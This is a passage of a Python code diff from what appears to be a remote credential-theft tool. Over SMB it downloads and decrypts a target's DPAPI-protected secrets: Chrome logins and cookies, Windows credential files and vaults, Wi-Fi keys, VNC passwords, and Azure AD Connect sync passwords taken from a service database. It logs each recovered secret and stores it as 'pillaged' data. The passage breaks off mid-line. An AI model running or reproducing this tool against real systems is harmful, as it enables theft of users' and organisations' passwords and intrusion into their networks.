user.files[longname]['path'] = localfile + logins = myChromeSecrets.decrypt_chrome_LoginData() + user.files[longname]['secret'] = logins + if logins is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeCookies': + try: + myChromeSecrets.cookie_path = localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + cookies = myChromeSecrets.decrypt_chrome_CookieData() + user.files[longname]['secret'] = cookies + if cookies is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeVersion': + try: + myChromeSecrets.version_path = localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + cookies = myChromeSecrets.get_chrome_Version() + user.files[longname]['secret'] = cookies + if cookies is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + + def getMdbData(self): + try: + return self.getMdbData2() + except UnicodeDecodeError: + return self.getMdbData2('utf-16-le') + + def getMdbData2(self, codec='utf-8'): + try: + out = { + 'cryptedrecords': [], + 'xmldata': [] + } + keydata = None + # + # self.options.from_file='adsync_export' + + if self.options.from_file: + logging.info('Loading configuration data from %s on filesystem', self.options.from_file) + infile = codecs.open(self.options.from_file, 'r', codec) + enumtarget = infile + else: + logging.info('Querying database for configuration data') + dbpath = os.path.join(os.getcwd(), r"ADSync.mdf") + output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0] + enumtarget = output.split('\n') + + #####TEMP + # logging.info('Loading configuration data from %s on filesystem', self.__options.from_file) + # infile = codecs.open('adsync_export', 'r', codec) + # enumtarget = infile + ###### + + for line in enumtarget: + try: + ltype, data = line.strip().split(': ') + except ValueError: + continue + ltype = ltype.replace(u'\ufeff', u'') + if ltype.lower() == 'record': + xmldata, crypteddata = data.split(';') + out['cryptedrecords'].append(crypteddata) + out['xmldata'].append(xmldata) + # print(f"record found : {xmldata}") + + if ltype.lower() == 'config': + instance, keyset_id, entropy = data.split(';') + out['instance'] = instance + out['keyset_id'] = keyset_id + out['entropy'] = entropy + # if self.__options.from_file: + # infile.close() + # Check if all values are in the outdata + required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy'] + for option in required: + if not option in out: + logging.error( + 'Missing data from database. Option %s could not be extracted. Check your database or output file.', + option) + return None + return out + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}") + self.logging.debug(ex) + + def Get_AD_Connect(self, user, localfile, data): + # Local DPAPI extracted data + info = "" + parts = data['Target'].decode('utf-16le')[:-1].split('_') + localBlobdatas = { + 'instanceid': parts[3][1:-1].lower(), + 'keyset_id': parts[4], + 'data': data['Unknown3'] + } + # print(localBlobdatas) + + # ADConnect Database data + logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}") + try: + # Stop Service / Download DB / Start DB + myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False) + myADSRemoteOps.gatherAdSyncMdb() + # files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf'] + mdbdata = self.getMdbData() + if mdbdata is None: + logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting") + return + # print(mdbdata) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}") + self.logging.debug(ex) + + result = localBlobdatas + if result is not None: + if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']: + logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next', + result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance']) + else: + logging.debug('Found correct encrypted keyset to decrypt data') + if result is None: + logging.debug('Failed to find correct keyset data') + return + + # cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))] + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "key_material.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None # user.masterkeys_file + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_Blob_masterkey(raw_data=result['data']) + self.logging.debug(f"[{self.options.target_ip}] Looking for ADConnect masterkey : {guid}") + if guid != None: + machine_user = user = self.GetUserByName('MACHINE$') + masterkey = self.get_masterkey(user=machine_user, guid=guid, type='MACHINE') + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + # cred_data = mydpapi.decrypt_credential() + cryptkeys = [ + mydpapi.decrypt_blob(raw_data=result['data'], entropy=string_to_bin(mdbdata['entropy']))] + try: + logging.debug(f'Decrypting encrypted AD Sync configuration data with {cryptkeys}') + for index, record in enumerate(mdbdata['cryptedrecords']): + # Try decrypting with highest cryptkey record + self.logging.debug(f"[{self.options.target_ip}] {index} - {record}") + drecord = DumpSecrets.decrypt(record, cryptkeys[-1]).replace('\x00', '') + # print(drecord) + with open('r%d_xml_data.xml' % index, 'w') as outfile: + data = base64.b64decode(mdbdata['xmldata'][index]).decode('utf-16-le') + outfile.write(data) + with open('r%d_encrypted_data.xml' % index, 'w') as outfile: + outfile.write(drecord) + ctree = ET.fromstring(drecord) + dtree = ET.fromstring(data) + if 'forest-login-user' in data: + logging.debug('Local AD credentials') + el = dtree.find(".//parameter[@name='forest-login-domain']") + if el is not None: + logging.debug('\tDomain: %s', el.text) + username = el.text + el = dtree.find(".//parameter[@name='forest-login-user']") + if el is not None: + username += '/' + el.text + # logging.debug('\tUsername: %s', el.text) + else: + # Assume AAD config + logging.debug('Azure AD credentials') + el = dtree.find(".//parameter[@name='UserName']") + if el is not None: + username = el.text + logging.debug('\tUsername: %s', el.text) + # Can be either lower or with capital P + fpw = None + el = ctree.find(".//attribute[@name='Password']") + if el is not None: + fpw = el.text + el = ctree.find(".//attribute[@name='password']") + if el is not None: + fpw = el.text + if fpw: + # fpw = fpw[:len(fpw)/2] + '...[REDACTED]' + logging.debug('\tPassword: %s', fpw) + info += f"{username} : {fpw}\n" + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} ADCONNECT : {bcolors.OKGREEN} - {username} : {fpw}{bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='ADConnect', + credz_username=username, + credz_password=fpw, + credz_target='', + credz_path='', # user.files['ADCONNECT']['path'], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}") + self.logging.debug(ex) + else: + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}") + return info + + def Get_DPAPI_Protected_Files(self): + self.logging.info( + f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}") + blacklist = ['.', '..'] + # credentials ? + # Vaults ? + # Parse chrome + # autres navigateurs ? + # CredHistory + # Appdata Roaming ? + + user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'), + ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', + 'credential', 'MACHINE-USER'), + ( + "Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential', 'DOMAIN'), + ( + "Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", + "*.rdg", 'rdg', 'DOMAIN') + ] # ADD Desktop for RDG + machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", '*', + 'credential', 'MACHINE'), + ("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', + 'credential', 'MACHINE-USER'), + ("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', + 'MACHINE-USER'), + # Valider le %systemdir% selon la version de windows ? + ] + + for user in self.users: + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir, my_mask, my_blob_type, my_user_type = info + tmp_pwd = my_dir.format( + username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + self.logging.debug( + f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname)) + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.masterkeys = None # user.masterkeys_file + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_CredentialFile_masterkey() + self.logging.debug(f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}") + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + cred_data = mydpapi.decrypt_credential() + if cred_data != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}") + user.files[longname]['status'] = 'decrypted' + user.files[longname]['data'] = cred_data + self.process_decrypted_data(user, user.files[ + longname]) # cred_data,user,localfile,my_blob_type) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + return 1 + + def GetWifi(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}") + blacklist = ['.', '..'] + machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces", '*.xml')] + + for info in machine_directories: + user = self.GetUserByName('MACHINE$') + my_dir, my_mask = info + # interface name + self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}") # No mask + my_directory = self.myfileops.do_ls(my_dir, '*', display=False) + for infos in my_directory: + longname, is_directory = infos + if longname not in blacklist and is_directory: + self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}") + tmp_pwd = ntpath.join(my_dir, longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if longname2 not in blacklist and not is_directory2: + self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname2)) + user.files[longname2] = {} + user.files[longname2]['type'] = 'wifi' + user.files[longname2]['status'] = 'encrypted' + user.files[longname2]['path'] = localfile + + with open(localfile, 'rb') as f: + try: + file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'') + wifi_name = re.search(b'([^<]+)', file_data) + wifi_name = wifi_name.group(1) + user.files[longname2]['wifi_name'] = wifi_name + key_material_re = re.search(b'([0-9A-F]+)', file_data) + if not key_material_re: + continue + key_material = key_material_re.group(1) + # with open("key_material.tmp", "wb") as f: + # f.write(binascii.unhexlify(key_material)) + except Exception as ex: + self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}") + self.logging.debug(ex) + + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "key_material.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None # user.masterkeys_file + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material)) + self.logging.debug( + f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}") + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE') + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + # cred_data = mydpapi.decrypt_credential() + cred_data = mydpapi.decrypt_blob( + raw_data=binascii.unhexlify(key_material)) + if cred_data != None: + user.files[longname2]['status'] = 'decrypted' + user.files[longname2]['data'] = cred_data + user.files[longname2]['secret'] = cred_data + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}") + ############PROCESSING DATA + self.db.add_credz(credz_type='wifi', + credz_username=wifi_name.decode('utf-8'), + credz_password=cred_data.decode('utf-8'), + credz_target=wifi_name.decode('utf-8'), + credz_path=user.files[longname2]['path'], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + # semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name]) + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.error( + f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}") + self.logging.debug(ex) + return 1 + + def GetVNC(self): + try: + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}") + myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db) + myvnc.vnc_from_filesystem() + myvnc.vnc_from_registry() + except Exception as ex: + self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}") + self.logging.debug(ex) + + def GetVaults(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}") + blacklist = ['.', '..', 'UserProfileRoaming'] + # credentials ? + # Vaults ? + # Parse chrome + # autres navigateurs ? + # CredHistory + + user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault', 'DOMAIN')] + machine_directories = [("ProgramData\\Microsoft\\Vault", '*', 'vault', 'MACHINE'), + ("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\", '*', + 'vault', 'MACHINE')] # Windows hello pincode + + for user in self.users: + if user.username == 'MACHINE$': + directories_to_use = machine_directories + else: + directories_to_use = user_directories + + if len(user.masterkeys_file) > 0: # Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir, my_mask, my_blob_type, my_user_type = info + tmp_pwd = my_dir.format( + username=user.username) # f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask)) + my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned %s" % longname) + if longname not in blacklist and is_directory: + self.logging.debug("Got Vault Directory %s" % longname) + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + try: + # First get the Policy.vpol + local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol")) + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['UID'] = longname + user.files[longname]['path'] = tmp_pwd2 + user.files[longname]['vpol_path'] = local_vpol_file + user.files[longname]['vpol_status'] = 'encrypted' + user.files[longname]['vsch'] = {} + user.files[longname]['vcrd'] = {} + user.files[longname]['data'] = '' + # Decrypt the keys + + myoptions = copy.deepcopy(self.options) + myoptions.vcrd = None # Vault File to parse + myoptions.masterkeys = None + myoptions.vpol = local_vpol_file + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + guid = mydpapi.find_Vault_Masterkey() + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + mydpapi.options.key = masterkey['key'] + keys = mydpapi.decrypt_vault() + if keys != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}") + tmp_vaultkeys = [] + if keys['Key1']['Size'] > 0x24: + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob'])) + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob'])) + else: + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify( + keys['Key2']['bKeyBlob']['bKey']).decode('latin-1')) + tmp_vaultkeys.append( + '0x%s' % binascii.hexlify( + keys['Key1']['bKeyBlob']['bKey']).decode('latin-1')) + self.logging.debug( + f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}") + user.files[longname]['vpol_status'] = 'decrypted' + user.files[longname]['status'] = 'decrypted' + user.files[longname]['data'] = tmp_vaultkeys + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}") + continue + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}") + continue + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + continue + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + continue + + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + continue + + # Look for .vsch : Vault Schema file + + # Then gets *.vcrd files + my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False) + self.logging.debug( + f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}") + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + self.logging.debug("ls returned file %s" % longname2) + if longname2 not in blacklist and not is_directory2 and not longname2 == "Policy.vpol": + try: + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2, longname2)) + if longname2[-4:] == 'vsch': # PAS G2R2 pour le moment + user.files[longname]['vsch'][localfile] = {} + user.files[longname]['vsch'][localfile]['status'] = 'encrypted' + user.files[longname]['vsch'][localfile]['type'] = 'vsch' + user.files[longname]['vsch'][localfile]['vault_name'] = longname2 + user.files[longname]['vsch'][localfile]['path'] = localfile + continue + elif longname2[-4:] == 'vcrd': + user.files[longname]['vcrd'][localfile] = {} + user.files[longname]['vcrd'][localfile]['status'] = 'encrypted' + user.files[longname]['vcrd'][localfile]['type'] = 'vcrd' + user.files[longname]['vcrd'][localfile]['vault_name'] = longname2 + user.files[longname]['vcrd'][localfile]['path'] = localfile + + myoptions = copy.deepcopy(self.options) + myoptions.vcrd = localfile # Vault File to parse + myoptions.vaultkeys = tmp_vaultkeys + myoptions.vpol = None + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + vault_data, data_type = mydpapi.decrypt_vault() + if vault_data != None: + user.files[longname]['vcrd'][localfile]['status'] = 'decrypted' + user.files[longname]['vcrd'][localfile]['data'] = vault_data + user.files[longname]['vcrd'][localfile]['vault_type'] = data_type + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}") + self.process_decrypted_vault(user, user.files[longname]['vcrd'][ + localfile]) # vault_data,user,localfile,my_blob_type,args=[longname2,data_type]) + + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}") + self.logging.debug(ex) + return 1 + + def dump_to_file(self, localfile_encrypted, localdata_decrypted): + self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}") + try: + localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0], + os.path.split(localfile_encrypted)[1] + "_decrypted") + fh = open(localfile_decrypted, 'wb') + fh.write(f"{localdata_decrypted}".encode('utf-8')) + fh.close() + return 1 + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}") + self.logging.debug(ex) + + def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]): + try: + self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}") + blob_type = secret_file['type'] + localfile = secret_file['path'] + data = secret_file['data'] + if blob_type == 'rdg': + self.logging.debug("IT S A Remote Desktop Cred file") + clear_data = self.dump_credential_blob(data) + elif blob_type == 'credential': + + if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in \ + data['Target'].decode('utf-16le'): + clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) + elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in \ + data['Target'].decode('utf-16le'): + self.logging.debug("IT S A MSTeam Credential!") + clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) + elif 'Domain:batch=TaskScheduler' in data['Target'].decode( + 'utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'): + self.logging.debug("IT S A TaskScheduler Cred!") + clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data) + '''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx} + Username : Domain\Administrateur + Unknown3 : @&&&&&&& + ''' + elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode( + 'utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode( + 'utf-16le'): + self.logging.debug("IT S A Office365 Cred!") + clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data) + ''' + [CREDENTIAL] + LastWritten : 2020-02-18 08:48:39 + Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) + Persist : 0x3 (CRED_PERSIST_ENTERPRISE) + Type : 0x1 (CRED_PERSIST_SESSION) + Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com + Description : + Unknown : + Username : + Unknown3 : xxxxxxxxx + + + + ''' + elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'): + self.logging.debug("IT S A Windows Live service or application Cred!") + clear_data = self.dump_credential_blob(user, localfile, data) + # ADCONNECT + elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'): + self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}") + clear_data = self.Get_AD_Connect(user, localfile, data) + elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'): # Autres Targets + self.logging.debug("Other legacy Credential") + clear_data = self.dump_credential_blob(user, localfile, data) + else: + self.logging.debug("Unknown Cred Target content - testing as Credential BLOB") + clear_data = self.dump_credential_blob(user, localfile, data) + # clear_data = '' + secret_file['secret'] = clear_data + self.dump_to_file(localfile, clear_data) + self.logsecret(clear_data) + + # TSE Account + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_credential_blob(self, user, localfile, decrypted_blob): + # from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping decrypted credential blob info to file") + # self.logging.debug(decrypted_blob) + info = "\n" + info += f"[CREDENTIAL]\n" + try: + info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + self.logging.debug(info) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password = f"{decrypted_blob['Unknown3'].decode('utf-16le')}" + except UnicodeDecodeError: + info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password = f"{decrypted_blob['Unknown3'].decode('latin-1')}" + # print() + if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}": # "WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ? + for entry in decrypted_blob.attributes: + try: + info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n" + info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, entry['Flags'])}\n" + info += f"Data : {entry['Data']}\n" + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + entry.dump() + continue + + ############PROCESSING DATA + self.db.add_credz(credz_type='credential-blob', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_CREDENTIAL_TSE(self, user, localfile, decrypted_blob): + # from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping TSE decrypted credential blob info to file") + # self.logging.debug(decrypted_blob) + info = "\n" + info += f"[CREDENTIAL]\n" + try: + info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info += f"Target : 